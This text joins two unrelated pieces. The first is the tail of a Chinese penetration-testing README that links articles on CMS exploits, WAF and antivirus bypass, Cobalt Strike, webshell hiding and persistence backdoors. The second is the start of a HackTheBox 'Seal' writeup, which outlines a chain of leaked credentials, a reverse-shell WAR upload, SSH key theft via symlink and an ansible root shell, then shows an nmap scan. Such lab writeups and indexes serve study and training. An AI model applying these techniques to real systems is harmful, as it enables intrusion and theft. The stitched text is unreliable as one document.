cms审计之exp表达式注入](./books/weiphp5.0%20cms审计之exp表达式注入%20-%20先知社区.pdf) - [zzzphp1.7.4&1.7.5到处都是sql注入](./books/zzzphp1.7.4%261.7.5到处都是sql注入.pdf) - [FCKeditor文件上传漏洞及利用-File-Upload-Vulnerability-in-FCKEditor](./books/FCKeditor文件上传漏洞及利用-File-Upload-Vulnerability-in-FCKEditor.pdf) - [zzcms 2019 版本代码审计](./books/zzcms%202019%E7%89%88%E6%9C%AC%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%20-%20%E5%85%88%E7%9F%A5%E7%A4%BE%E5%8C%BA.pdf) - [利用SQLmap 结合 OOB 技术实现音速盲注](./books/手把手带你利用SQLmap结合OOB技术实现音速盲注.pdf) - [特权提升技术总结之Windows文件服务内核篇(主要是在webshell命令行执行各种命令搜集信息)](https://xz.aliyun.com/t/7261)|[(项目留存PDF版本)](./books/特权提升技术总结之Windows文件服务内核篇%20-%20先知社区.pdf) - [WellCMS 2.0 Beta3 后台任意文件上传](./books/WellCMS%202.0%20Beta3%20后台任意文件上传.pdf) - [国外详细的CTF分析总结文章(2014-2017年)](https://github.com/ctfs) - [这是一篇“不一样”的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码](./books/这是一篇"不一样"的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码-%20奇安信A-TEAM技术博客.pdf)|[原文地址](https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/) - [表达式注入.pdf](./books/表达式注入.pdf) - [WordPress ThemeREX Addons 插件安全漏洞深度分析](./books/WordPress%20ThemeREX%20Addons%20插件安全漏洞深度分析.pdf) - [通达OA文件包含&文件上传漏洞分析](./books/通达OA文件包含&文件上传漏洞分析.pdf) - [高级SQL注入:混淆和绕过](./books/高级SQL注入:混淆和绕过.pdf) - [权限维持及后门持久化技巧总结](./books/权限维持及后门持久化技巧总结.pdf) - [Windows常见的持久化后门汇总](./books/Windows常见的持久化后门汇总.pdf) - [Linux常见的持久化后门汇总](./books/Linux常见的持久化后门汇总.pdf) - [CobaltStrike4.0用户手册_中文翻译_3](./books/CobaltStrike4.0用户手册_中文翻译_3.pdf) - [Cobaltstrike 4.0之 我自己给我自己颁发license.pdf](./books/Cobaltstrike%204破解之%20我自己给我自己颁发license.pdf) - [Cobalt Strike 4.0 更新内容介绍](./books/Cobalt%20Strike%204.0%20更新内容介绍.pdf) - [Cobal_Strike_自定义OneLiner](./books/Cobal_Strike_自定义OneLiner_Evi1cg's_blog.pdf) - [cobalt strike 快速上手 [ 一 ]](./books/cobalt_strike_快速上手%5B%20一%20%5D.pdf) - [Cobalt strike3.0使用手册](./books/Cobalt_strike3.0使用手册.pdf) - [Cobalt_Strike_Spear_Phish_CS邮件钓鱼制作](./books/Cobalt_Strike_Spear_Phish_Evi1cg's%20blog%20%20CS邮件钓鱼制作.md) - [Remote NTLM relaying through CS](./books/Remote_NTLM_relaying_through_CS.pdf) - [渗透测试神器Cobalt Strike使用教程](./books/渗透测试神器Cobalt%20Strike使用教程.pdf) - [Cobalt Strike的teamserver在Windows上快速启动脚本](./books/CS_teamserver_win.md) - [ThinkPHP v6.0.0_6.0.1 任意文件操作漏洞分析](./books/ThinkPHP%20v6.0.0_6.0.1%20任意文件操作漏洞分析.pdf) - [Django_CVE-2020-9402_Geo_SQL注入分析](./books/Django_CVE-2020-9402_Geo_SQL注入分析.pdf) - [CVE-2020-10189_Zoho_ManageEngine_Desktop_Central_10反序列化远程代码执行](./books/CVE-2020-10189_Zoho_ManageEngine_Desktop_Central_10反序列化远程代码执行.pdf) - [安全狗SQL注入WAF绕过](./books/安全狗SQL注入WAF绕过.pdf) - [通过将JavaScript隐藏在PNG图片中,绕过CSP](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) - [通达OA任意文件上传_文件包含GetShell](./books/通达OA任意文件上传_文件包含GetShell.pdf) - [文件上传Bypass安全狗4.0](./books/文件上传Bypass安全狗4.0.pdf) - [SQL注入Bypass安全狗4.0](./books/SQL注入Bypass安全狗4.0.pdf) - [通过正则类SQL注入防御的绕过技巧](./books/通过正则类SQL注入防御的绕过技巧.pdf) - [MYSQL_SQL_BYPASS_WIKI-mysql注入,bypass的一些心得](https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI) - [bypass云锁注入测试](./books/bypass云锁注入测试.md) - [360webscan.php_bypass](./books/360webscan.php_bypass.pdf) - [think3.2.3_sql注入分析](./books/think3.2.3_sql注入分析.pdf) - [UEditor SSRF DNS Rebinding](./books/UEditor%20SSRF%20DNS%20Rebinding) - [PHP代码审计分段讲解](https://github.com/bowu678/php_bugs) - [京东SRC小课堂系列文章](https://github.com/xiangpasama/JDSRC-Small-Classroom) - [windows权限提升的多种方式](https://medium.com/bugbountywriteup/privilege-escalation-in-windows-380bee3a2842)|[Privilege_Escalation_in_Windows_for_OSCP](./books/Privilege_Escalation_in_Windows_for_OSCP.pdf) - [bypass CSP](https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)|[Content-Security-Policy(CSP)Bypass_Techniques](./books/Content-Security-Policy(CSP)Bypass_Techniques.pdf) - [个人维护的安全知识框架,内容偏向于web](https://github.com/No-Github/1earn) - [PAM劫持SSH密码](./PAM劫持SSH密码.md) - [零组资料文库-(需要邀请注册)](https://wiki.0-sec.org/) - [redis未授权个人总结-Mature](./books/redis未授权个人总结-Mature.pdf) - [NTLM中继攻击的新方法](https://www.secureauth.com/blog/what-old-new-again-relay-attack) - [PbootCMS审计](./books/PbootCMS审计.pdf) - [De1CTF2020系列文章](https://github.com/De1ta-team/De1CTF2020) - [xss-demo-超级简单版本的XSS练习demo](https://github.com/haozi/xss-demo) - [空指针-Base_on_windows_Writeup--最新版DZ3.4实战渗透](./books/空指针-Base_on_windows_Writeup--最新版DZ3.4实战渗透.pdf) - [入门KKCMS代码审计](./books/入门KKCMS代码审计.pdf) - [SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 checklist](https://github.com/LandGrey/SpringBootVulExploit) - [文件上传突破waf总结](./books/文件上传突破waf总结.pdf) - [极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞](./books/极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞.pdf)|[原文地址](https://xz.aliyun.com/t/7872) - [代码审计之DTCMS_V5.0后台漏洞两枚](./books/代码审计之DTCMS_V5.0后台漏洞两枚.pdf) - [快速判断sql注入点是否支持load_file](./快速判断sql注入点是否支持load_file.md) - [文件上传内容检测绕过](./books/文件上传内容检测绕过.md) - [Fastjson_=1.2.47反序列化远程代码执行漏洞复现](./books/Fastjson_=1.2.47反序列化远程代码执行漏洞复现.pdf) - [【Android脱壳】_腾讯加固动态脱壳(上篇)](./books/移动安全(九)_TengXun加固动态脱壳(上篇).pdf) - [【Android脱壳】腾讯加固动态脱壳(下篇)](./books/移动安全(十)_TengXun加固动态脱壳(下篇).pdf) - [【Android脱壳】记一次frida实战——对某视频APP的脱壳、hook破解、模拟抓包、协议分析一条龙服务](./books/记一次frida实战——对某视频APP的脱壳、hook破解、模拟抓包、协议分析一条龙服务.pdf) - [【Android抓包】记一次APP测试的爬坑经历.pdf](./books/记一次APP测试的爬坑经历.pdf) - [完整的内网域渗透-暗月培训之项目六](./books/完整的内网域渗透-暗月培训之项目六.pdf) - [Android APP渗透测试方法大全](./books/Android%20APP渗透测试方法大全.pdf) - [App安全检测指南-V1.0](./books/App安全检测指南-V1.0.pdf) - [借github上韩国师傅的一个源码实例再次理解.htaccess的功效](./books/借github上韩国师傅的一个源码实例再次理解.htaccess的功效.pdf) - [Pentest_Note-渗透Tips,总结了渗透测试常用的工具方法](https://github.com/xiaoy-sec/Pentest_Note) - [红蓝对抗之Windows内网渗透-腾讯SRC出品](./books/红蓝对抗之Windows内网渗透-腾讯SRC出品.pdf) - [远程提取Windows中的系统凭证](./books/远程提取Windows中的系统凭证.pdf) - [绕过AMSI执行powershell脚本](./books/绕过AMSI执行powershell脚本.md)|[AmsiScanBufferBypass-相关项目](https://github.com/rasta-mouse/AmsiScanBufferBypass) - [踩坑记录-Redis(Windows)的getshell](./books/踩坑记录-Redis(Windows)的getshell.pdf) - [Cobal_Strike踩坑记录-DNS Beacon](./books/Cobal_Strike踩坑记录-DNS%20Beacon.pdf) - [windows下隐藏webshell的方法](./books/windows下隐藏webshell的方法.md) - [DEDECMS伪随机漏洞分析 (三) 碰撞点(爆破,伪造管理员cookie登陆后台getshell](./books/DEDECMS伪随机漏洞分析(三)碰撞点.pdf) - [针对宝塔的RASP及其disable_functions的绕过](./books/针对宝塔的RASP及其disable_functions的绕过.pdf) - [渗透基础WMI学习笔记](./books/渗透基础WMI学习笔记.pdf) - [【海洋CMS】SeaCMS_v10.1代码审计实战](./books/SeaCMS_v10.1代码审计实战.pdf) - [红队攻防实践:闲谈Webshell在实战中的应用](./books/红队攻防实践:闲谈Webshell在实战中的应用.pdf) - [红队攻防实践:unicode进行webshell免杀的思考](./books/红队攻防实践:unicode进行webshell免杀的思考.pdf) - [php无eval后门](./books/php无eval后门.pdf) - [【代码审计】ThinkPhp6任意文件写入](./books/[代码审计]ThinkPhp6任意文件写入.pdf) - [YzmCMS代码审计](./books/YzmCMS代码审计.pdf) - [BadUSB简单免杀一秒上线CobaltStrike](./books/BadUSB/BadUSB简单免杀一秒上线CobaltStrike.pdf) - [BasUSB实现后台静默执行上线CobaltStrike](./books/BadUSB/BadUSB实现后台静默执行上线CobaltStrike.pdf) - [手把手带你制作一个X谁谁上线的BadUSB](./books/BadUSB/手把手带你制作一个X谁谁上线的BadUSB.pdf)|[近源渗透-BadUsb](./books/近源渗透-BadUsb.pdf)-[原文地址](https://mp.weixin.qq.com/s/3tX6uxqw0_tjhQK0ARec5A) - [一文学会Web_Service漏洞挖掘](./books/一文学会Web_Service漏洞挖掘.pdf) - [唯快不破的分块传输绕WAF](./books/唯快不破的分块传输绕WAF.pdf) - [Unicode的规范化相关漏洞挖掘思路实操](./books/Unicode的规范化相关漏洞挖掘思路实操.pdf) - [换一种姿势挖掘任意用户密码重置漏洞-利用不规范化的Unicode编码加burp挖掘](./books/换一种姿势挖掘任意用户密码重置漏洞-利用Unicode域名加burp挖掘.pdf) - [全方面绕过安全狗2](./books/全方面绕过安全狗2.pdf) - [冰蝎——从入门到魔改](./books/冰蝎——从入门到魔改.pdf) - [冰蝎——从入门到魔改(续)](./books/冰蝎——从入门到魔改(续).pdf) - [技术分享_ 内网渗透手动学习实践](./books/技术分享%20_%20内网渗透手动学习实践.pdf) - [权限维持之打造不一样的映像劫持后门](./books/权限维持之打造不一样的映像劫持后门.pdf) - [Jboss漏洞利用总结](./books/Jboss漏洞利用总结.pdf) - [Java RMI服务远程命令执行利用](./books/Java_RMI服务远程命令执行利用.pdf)|[小天之天的测试工具-attackRMI.jar](./tools/attackRMI.jar) - [PbootCMS任意代码执行(从v1.0.1到v2.0.9)的前世今生](./books/PbootCMS任意代码执行(从v1.0.1到v2.0.9)的前世今生.pdf) - [实战绕过双重waf(玄武盾+程序自身过滤)结合编写sqlmap的tamper获取数据](./books/实战绕过双重waf(玄武盾+程序自身过滤)结合编写sqlmap的tamper获取数据.pdf) - [OneThink前台注入分析](./books/OneThink前台注入分析.pdf) - [记一次从源代码泄漏到后台(微擎cms)获取webshell的过程](./books/记一次从源代码泄漏到后台(微擎cms)获取webshell的过程.pdf) - [Android抓包—关于抓包的碎碎念-看雪论坛-Android板块ChenSem](./books/关于抓包的碎碎念.pdf)|[原文地址](https://bbs.pediy.com/thread-260965.htm) - [CVE-2020-15778-Openssh-SCP命令注入漏洞复现报告](./books/CVE-2020-15778-Openssh-SCP命令注入漏洞复现报告.pdf) - [bolt_cms_V3.7.0_xss和远程代码执行漏洞](./books/bolt_cms_V3.7.0_xss和远程代码执行漏洞.pdf) - [关于Cobalt_Strike检测方法与去特征的思考](./books/关于Cobalt_Strike检测方法与去特征的思考.pdf) - [代码审计_PHPCMS_V9前台RCE挖掘分析](./books/代码审计_PHPCMS_V9前台RCE挖掘分析.pdf) - [【免杀】C++免杀项目推荐](./books/C++免杀项目推荐.pdf)-[附件下载](./tools/RefacterC.zip)|[原文地址](https://mp.weixin.qq.com/s/0OB0yQAiOfsU4JqkCDUi7w) - [利用图片隐写术来远程动态加载shellcode](./books/利用图片隐写术来远程动态加载shellcode.pdf)|[原文地址](https://mp.weixin.qq.com/s/QZ5YlRZN47zne7vCzvUpJw) - [[后渗透]Mimikatz使用大全](./books/[后渗透]Mimikatz使用大全.pdf)|[原文地址](https://www.cnblogs.com/-mo-/p/11890232.html) - [渗透测试XiaoCms之自力更生代码审计-后台数据库备份SQL注入到getshell](./books/渗透测试XiaoCms之自力更生代码审计-后台数据库备份SQL注入到getshell.pdf)|[原文地址](https://mp.weixin.qq.com/s/K2nUSMyE4PwVYqa7t95BTQ) - [HW礼盒:深信服edr RCE,天融信dlp unauth和通达OA v11.6版本RCE](./books/HW%E7%A4%BC%E7%9B%92%EF%BC%9A%E6%B7%B1%E4%BF%A1%E6%9C%8Dedr%20RCE%EF%BC%8C%E5%A4%A9%E8%9E%8D%E4%BF%A1dlp%20unauth%E5%92%8C%E9%80%9A%E8%BE%BEOA%20v11.6%E7%89%88%E6%9C%ACRCE.pdf) - [[0day]通达 OA v11.7 后台 SQL 注入到 RCE](./books/[0day]通达%20OA%20v11.7%20后台%20SQL%20注入到%20RCE.pdf)-[原文地址](https://mp.weixin.qq.com/s/rtX9mJkPHd9njvM_PIrK_Q) - [wordpress 评论插件 wpDiscuz 任意文件上传漏洞分析](./books/wordpress%20%E8%AF%84%E8%AE%BA%E6%8F%92%E4%BB%B6%20wpDiscuz%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.pdf) - [Gopher协议使用总结](./books/Gopher协议使用总结.pdf)-[原文地址](https://mp.weixin.qq.com/s/SjGvsl3jxOtyg6BtGgFf5A) - [sqlmap使用总结](./books/sqlmap使用总结.pdf)|[【实战技巧】sqlmap不为人知的骚操作](./books/%E3%80%90%E5%AE%9E%E6%88%98%E6%8A%80%E5%B7%A7%E3%80%91sqlmap%E4%B8%8D%E4%B8%BA%E4%BA%BA%E7%9F%A5%E7%9A%84%E9%AA%9A%E6%93%8D%E4%BD%9C_Summer's_blog.pdf)-[原文地址](https://blog.csdn.net/sun1318578251/article/details/102524100)|[记一份SQLmap 使用手册小结(一)](./books/记一份SQLmap%20使用手册小结(一).pdf)|[记一份SQLmap 使用手册小结(二)](./books/记一份SQLmap%20使用手册小结(二).pdf) - [mac上Parallels Desktop安装kali linux 2020.2a并安装好Parallels Tools+Google拼音输入法](./books/mac%E4%B8%8AParallels%20Desktop%E5%AE%89%E8%A3%85kali%20linux%202020.2a%E5%B9%B6%E5%AE%89%E8%A3%85%E5%A5%BDParallels%20Tools+Google%E6%8B%BC%E9%9F%B3%E8%BE%93%E5%85%A5%E6%B3%95.docx) - [通达OA v11.5 多枚0day漏洞复现](./books/%E9%80%9A%E8%BE%BEOA%20v11.5%20%E5%A4%9A%E6%9E%9A0day%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.pdf)|[续集 _ 再发通达OA多枚0day](./books/%E7%BB%AD%E9%9B%86%20_%20%E5%86%8D%E5%8F%91%E9%80%9A%E8%BE%BEOA%E5%A4%9A%E6%9E%9A0day.pdf)-[原文地址](https://mp.weixin.qq.com/s/RlOpohHvjHv_Qg3mNgDCAQ) - [POSCMS(20200821)_任意 SQL 语句执行(需要登录后台)](./books/POSCMS_%E4%BB%BB%E6%84%8F%20SQL%20%E8%AF%AD%E5%8F%A5%E6%89%A7%E8%A1%8C%EF%BC%88%E9%9C%80%E8%A6%81%E7%99%BB%E5%BD%95%E5%90%8E%E5%8F%B0%EF%BC%89.pdf)-[原文地址](https://www.t00ls.net/thread-57551-1-1.html)|[POSCMS v3.2.0漏洞复现(getshell+前台SQL注入)](./books/POSCMS%20v3.2.0%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0(getshell+%E5%89%8D%E5%8F%B0SQL%E6%B3%A8%E5%85%A5).pdf)-[原文地址](https://xz.aliyun.com/t/4858) - [多线程+二分法的巧用——通达OA 2017 SQL盲注](./books/%E5%A4%9A%E7%BA%BF%E7%A8%8B+%E4%BA%8C%E5%88%86%E6%B3%95%E7%9A%84%E5%B7%A7%E7%94%A8%E2%80%94%E2%80%94%E9%80%9A%E8%BE%BEOA%20SQL%E7%9B%B2%E6%B3%A8.pdf)-[原文地址](https://mp.weixin.qq.com/s/zH13q6xBRc58ggHqfKKi_g) - [宝塔面板webshell隐藏小技巧](./books/宝塔面板webshell隐藏小技巧.pdf)-[原文地址](https://mp.weixin.qq.com/s/-8JE1ovWKOorNr6MCAgejg) - [配合隐写术远程动态加载 shellcode](./books/%E9%85%8D%E5%90%88%E9%9A%90%E5%86%99%E6%9C%AF%E8%BF%9C%E7%A8%8B%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%20shellcode.pdf)|[原文地址](https://www.t00ls.net/thread-57618-1-1.html) - [MySQL蜜罐获取攻击者微信ID](./books/MySQL蜜罐获取攻击者微信ID.pdf)-[原文地址](https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg) - [蓝天采集器 v2.3.1 后台getshell(需要管理员权限)](./books/蓝天采集器%20v2.3.1%20后台getshell(需要管理员权限).pdf) - [实战-从社工客服拿到密码登录后台加SQL注入绕过安全狗写入webshell到提权进内网漫游](./books/实战-从社工客服拿到密码登录后台加SQL注入绕过安全狗写入webshell到提权进内网漫游.pdf)-[原文地址](https://mp.weixin.qq.com/s/JBspfEHTDZBiOXEyI14QKQ) - [0day安全_软件漏洞分析技术(第二版)](https://cloud.189.cn/t/7ziI3imqMzI3) - [安恒信息《渗透攻击红队百科全书》](https://cloud.189.cn/t/Jzeuuq3YFr2e) - [lcx端口转发(详解)](./books/lcx端口转发(详解).pdf) - [php_bugs-PHP代码审计分段讲解](https://github.com/bowu678/php_bugs) - [深信服edr终端检测响应平台(<3.2.21)代码审计挖掘(RCE)](./books/深信服edr终端检测响应平台(<3.2.21)代码审计挖掘(RCE).pdf)-[原文地址](https://mp.weixin.qq.com/s/3TC7TRAFceBWgj_ANA2etQ) - [深信服edr终端检测响应平台(<3.2.21)代码审计挖掘(权限绕过)](./books/深信服edr终端检测响应平台(<3.2.21)代码审计挖掘(权限绕过).pdf)-[原文地址](https://mp.weixin.qq.com/s/4Z4QF-Wdq2PhqCkGKB8Q6Q) - [Hook梦幻旅途之Frida](./books/Hook梦幻旅途之Frida.pdf) - [简单的源码免杀过av](./books/简单的源码免杀过av.pdf) - [duomicms代码审计](./books/duomicms代码审计.pdf) - [劫持got表绕过disable_functions](./books/劫持got表绕过disable_functions.pdf)-[原文地址](https://mp.weixin.qq.com/s/NDkDc7j5rFbcHWTM26zeGQ) - [【代码审计】xyhcms3.5后台任意文件读取](./books/[代码审计]xyhcms3.5后台任意文件读取.pdf)-[原文地址](https://mp.weixin.qq.com/s/hQq7Owew2V_MyCJLKHnR4g) - [CVE-2020-1472 域内提权完整利用](./books/CVE-2020-1472%20域内提权完整利用.pdf)-[原文地址](https://mp.weixin.qq.com/s/RUkGMxM5GjFrEiKa8aH6JA) - [CVE-2020-15148 Yii框架反序列化RCE利用链 exp](./books/CVE-2020-15148%20Yii框架反序列化RCE利用链%20exp.pdf) - [Yii框架反序列化RCE利用链分析](./books/Yii框架反序列化RCE利用链分析.pdf)-[原文链接](https://mp.weixin.qq.com/s/KNhKti5Kcl-She4pU3D-5g)|[Yii 框架反序列化 RCE 利用链 2(官方无补丁)](./books/Yii%20框架反序列化%20RCE%20利用链%202(官方无补丁).pdf)-[原文链接](https://mp.weixin.qq.com/s/h-mbaw3vfHwx2SAZhiDe5Q)|[怎样挖掘出属于自己的 php 反序列化链](./books/怎样挖掘出属于自己的%20php%20反序列化链.pdf)-[原文链接](https://xz.aliyun.com/t/8082) - [Apache 的. htaccess 利用技巧](./books/Apache%20的.%20htaccess%20利用技巧.pdf) - [fastadmin(V1.0.0.20200506_beta) 前台 getshell(文件上传解析) 漏洞分析](./books/fastadmin(V1.0.0.20200506_beta)%20前台%20getshell(文件上传解析)%20漏洞分析.pdf) - [HW2020-0day总结](./books/HW2020-0day总结.pdf) - [Ecshop 4.0 SQL(代码审计从Nday到0day )](Ecshop%204.0%20SQL(代码审计从Nday到0day%20).pdf) - [Yii2框架Gii模块 RCE 分析](./books/Yii2框架Gii模块%20RCE%20分析.pdf) - [Windows操作系统基线核查](./books/Windows操作系统基线核查.pdf) ## <span id="head9"> 说明</span> ### 免责声明 > 1.此项目所有文章、代码部分来源于互联网,版权归原作者所有,转载留存的都会写上原著出处,如有遗漏,还请说明,谢谢! > 2.此项目仅供学习参考使用,严禁用于任何非法行为!使用即代表你同意自负责任! > 3.如果项目中涉及到你的隐私或者需要删除的,请issue留言指名具体文件内容,附上你的证明,或者邮箱联系我,核实后即刻删除。 <details> <summary>其他杂项</summary> ### 喜讯 在`2020-08-16`登上`GitHub`的`Trending`日榜,谢谢大家支持,谢谢那些在freebuf和公众号推荐的师傅,我会继续努力,期待有靠谱的师傅一起来维护优化,感兴趣的邮箱联系我吧! ![](./img/trending.png) ## Stargazers over time [![Stargazers over time](https://starchart.cc/Mr-xn/Penetration_Testing_POC.svg)](https://starchart.cc/Mr-xn/Penetration_Testing_POC) </details> ### 最后,选一个屁股吧! ![](https://ooo.0o0.ooo/2017/06/13/593fb9335fe9c.jpg)
# Seal - HackTheBox - Writeup Linux, 30 Base Points, Medium ## Machine ![‏‏Seal.JPG](images/Seal.JPG) ### TL;DR; To solve this machine, we begin by enumerating open services – finding the ports ```22```,```443``` and ```8080```. ***User 1:*** Found ```luis``` credentials (On ```seal_market``` commit) to ```GitBucket``` portal, From there, We found ```nginx``` configuration with [Nginx off-by-slash fail misconfiguration]( https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/), Use that to access to ```tomcat``` manager page to upload a reverse shell on ```war``` file and we get a shell as ```tomcat``` user. ***User 2:*** Found backup playbook (on ```/opt/backups/playbook/run.yml```) with ```copy_links=yes```, Create a file with symlink to ```/home/luis/.ssh/id_rsa``` to get the SSH private key of ```luis```. ***Root:*** By running ```sudo -l``` we found ```/usr/bin/ansible-playbook```, Using that, we create a playbook to get a reverse shell as root. ![pwn.JPG](images/pwn.JPG) ## Seal Solution ### User 1 Let's start with ```nmap``` scanning: ```console ┌─[evyatar@parrot]─[/hackthebox/Seal] └──╼ $ nmap -p- -sC -sV -oA nmap/Seal 10.10.10.250 Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-11 00:17 IDT Nmap scan report for 10.10.10.250 Host is up (0.21s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Seal Market | ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK | Not valid before: 2021-05-05T10:24:03 |_Not valid after: 2022-05-05T10:24:03 | tls-alpn: |_ http/1.1 | tls-nextprotoneg: |_ http/1.1 8080/tcp open http-proxy | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 401 Unauthorized | Date: Tue, 10 Aug 2021 21:22:17 GMT | Set-Cookie: JSESSIONID=node0187gqx3v1pvm8xiosluw7o11e2.node0; Path=/; HttpOnly | Expires: Thu, 01 Jan 1970 00:00:00 GMT | Content-Type: text/html;charset=utf-8 | Content-Length: 0 | GetRequest: | HTTP/1.1 401 Unauthorized | Date: Tue, 10 Aug 2021 21:22:14 GMT | Set-Cookie: JSESSIONID=node01oy35tej6qj3t1n2y3ayg88pw70.node0; Path=/; HttpOnly | Expires: Thu, 01 Jan 1970 00:00:00 GMT | Content-Type: text/html;charset=utf-8 | Content-Length: 0 | HTTPOptions: | HTTP/1.1 200 OK | Date: Tue, 10 Aug 2021 21:22:15 GMT | Set-Cookie: JSESSIONID=node0y0mbz5ecx71i1d3782u17f20l1.node0; Path=/; HttpOnly | Expires: Thu, 01 Jan 1970 00:00:00 GMT | Content-Type: text/html;charset=utf-8 | Allow: GET,HEAD,POST,OPTIONS | Content-Length: 0 | RPCCheck: | HTTP/1.1 400 Illegal character OTEXT=0x80 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 71 | Connection: close | <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre> | RTSPRequest: | HTTP/1.1 505 Unknown Version | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 58 | Connection: close | <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre> | Socks4: | HTTP/1.1 400 Illegal character CNTL=0x4 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 69 | Connection: close | <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre> | Socks5: | HTTP/1.1 400 Illegal character CNTL=0x5 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 69 | Connection: close |_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre> | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Server returned status 401 but no WWW-Authenticate header. |_http-title: Site doesn't have a title (text/html;charset=utf-8). 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.80%I=7%D=8/11%Time=6112ECF7%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,F5,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Tue,\x2010\x2 SF:0Aug\x202021\x2021:22:14\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node01oy35 SF:tej6qj3t1n2y3ayg88pw70\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Th SF:u,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/htm SF:l;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,108,"HT SF:TP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2010\x20Aug\x202021\x2021:22:15\ SF:x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0y0mbz5ecx71i1d3782u17f20l1\.no SF:de0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2 SF:000:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllow:\ SF:x20GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReques SF:t,AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20text/h SF:tml;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close SF:\r\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Versio SF:n</pre>")%r(FourOhFourRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nD SF:ate:\x20Tue,\x2010\x20Aug\x202021\x2021:22:17\x20GMT\r\nSet-Cookie:\x20 SF:JSESSIONID=node0187gqx3v1pvm8xiosluw7o11e2\.node0;\x20Path=/;\x20HttpOn SF:ly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nConte SF:nt-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r SF:(Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5\r\nCon SF:tent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2069\r\n SF:Connection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\ SF:x20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\.1\x204 SF:00\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/html;ch SF:arset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r SF:\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x2 SF:0CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20charact SF:er\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nCo SF:ntent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x SF:20400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 65.82 seconds ``` Port 8080 contains: ![port8080.JPG](images/port8080.JPG) And port 443: ![port443.JPG](images/port443.JPG) Let's register to ```GitBucket`` website (port 8080): ![gitbucket.JPG](images/gitbucket.JPG) As we can see It's the repository of the ```Seal Market``` website. By looking at TODO notes we can see: >Remove mutual authentication for dashboard, setup registration and login features. >Deploy updated tomcat configuration. >Disable manager and host-manager. By looking at tomcat configuration we can see the following commit (by ```[email protected]``` user) [http://seal.htb:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7](http://seal.htb:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7) which contains the following credentials: ![creds.JPG](images/creds.JPG) 